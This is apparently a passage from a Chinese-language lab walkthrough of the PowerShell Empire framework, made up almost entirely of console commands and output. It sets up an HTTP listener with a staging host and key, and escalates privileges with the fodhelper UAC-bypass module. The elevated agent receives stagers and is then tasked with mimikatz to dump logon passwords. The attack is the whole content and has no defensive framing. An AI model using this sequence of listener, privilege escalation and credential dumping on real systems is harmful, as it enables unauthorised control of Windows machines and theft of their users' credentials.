(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
Name: HTTP[S]
Category: client_server
Authors:
@harmj0y
Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.HTTP[S] Options:
Name Required Value Description
------------------------------ SlackToken False Your SlackBot API token to communicate with your Slack instance. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). KillDate False Date for the listener to exit (MM/dd/yyyy). Name True Hello Name for the listener. Launcher True powershell -noP -sta -w 1-enc Launcher string. DefaultDelay True 5 Agent delay/reach back interval (in seconds). DefaultLostLimit True 60 Number of missed checkins before exiting
WorkingHours False Hours for the agent to operate (09:00-17:00). SlackChannel False #general The Slack channel or DM that notifications will be sent to. DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent. process.php|Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Host True http://192.168.117.181:80 Hostname/IPfor staging. CertPath False Certificate path for https listeners. DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0). Proxy False default Proxy to use for request (default, none, or other). UserAgent False default User-agent string to use for the staging request (default, none, or other). StagingKey True riOB0K|+*:3a~R2xQb@;U{&Vth>!4/Gd Staging key for initial agent negotiation. BindIP True 0.0.0.0 The IP to bind to on the control server. Port True 8089 Port for the listener. ServerVersion True Microsoft-IIS/7.5 Server header for the control server. StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
一般情况只需要指定Host、Port、Name即可，其他的选项可以根据场景设置。
1
2
3
4
5
6
7
8
9
10
(Empire: listeners/http) > set Name newListener
(Empire: listeners/http) > set Port 7788(Empire: listeners/http) > execute
[*] Starting listener 'newListener'* Serving Flask app "http" (lazy loading)
*Environment: production
WARNING: Do not use the development server in a production environment. Use a production WSGI server instead.* Debug mode: off
[+] Listener successfully started!
(Empire: MYZBFLEX) > usemodule privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > info
Name: Invoke-FodHelperBypass
Module: powershell/privesc/bypassuac_fodhelper
NeedsAdmin: False
OpsecSafe: False
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None
Authors:
Petr Medonos
Description:
Bypasses UAC by performing an registry modification for
FodHelper (based onhttps://winscripting.blog/2017/05/12
/first-entry-welcome-and-uac-bypass/)
Comments:
https://winscripting.blog/2017/05/12/first-entry-welcome-
and-uac-bypass/
Options:
Name Required Value Description
---- -------- ------- -----------
Listener True Listener to use.
UserAgent False default User-agent string to use for the staging
request (default, none, or other).
Proxy False default Proxy to use for request (default, none,
or other).
Agent True MYZBFLEX Agent to run module on.
ProxyCreds False default Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).
(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener hello
(Empire: powershell/privesc/bypassuac_fodhelper) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked MYZBFLEX to run TASK_CMD_JOB
[*] Agent MYZBFLEX tasked with task ID 2
[*] Tasked agent MYZBFLEX to run module powershell/privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > [*] Agent MYZBFLEX returned results.
Job started: 9HABCE
[*] Valid results returned by 192.168.117.179
[*] Sending POWERSHELL stager (stage 1) to 192.168.117.179
[*] New agent VZWXYL4T checked in
[+] Initial agent VZWXYL4T from 192.168.117.179 now active (Slack)
[*] Sending agent (stage 2) to VZWXYL4T at 192.168.117.179
此时agents列表如下：
1
2
3
4
5
6
7
8
9
10
(Empire: powershell/privesc/bypassuac_fodhelper) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- ---------
MYZBFLEX ps 192.168.117.179 DESKTOP-7KT7GL1 DESKTOP-7KT7GL1\Rvn0xsy powershell 7256 5/0.0 2018-12-18 02:22:26
VZWXYL4T ps 192.168.117.179 DESKTOP-7KT7GL1 *DESKTOP-7KT7GL1\Rvn0xs powershell 9392 5/0.0 2018-12-18 02:22:26
(Empire: agents) >
(Empire: VZWXYL4T) > mimikatz
[*] Tasked VZWXYL4T to run TASK_CMD_JOB
[*] Agent VZWXYL4T tasked with task ID 1
[*] Tasked agent VZWXYL4T to run module powershell/credentials/mimikatz/logonpasswords
(Empire: VZWXYL4T) > [*] Agent VZWXYL4T returned results.
Job started: EV7DPF
[*] Valid results returned by 192.168.117.179
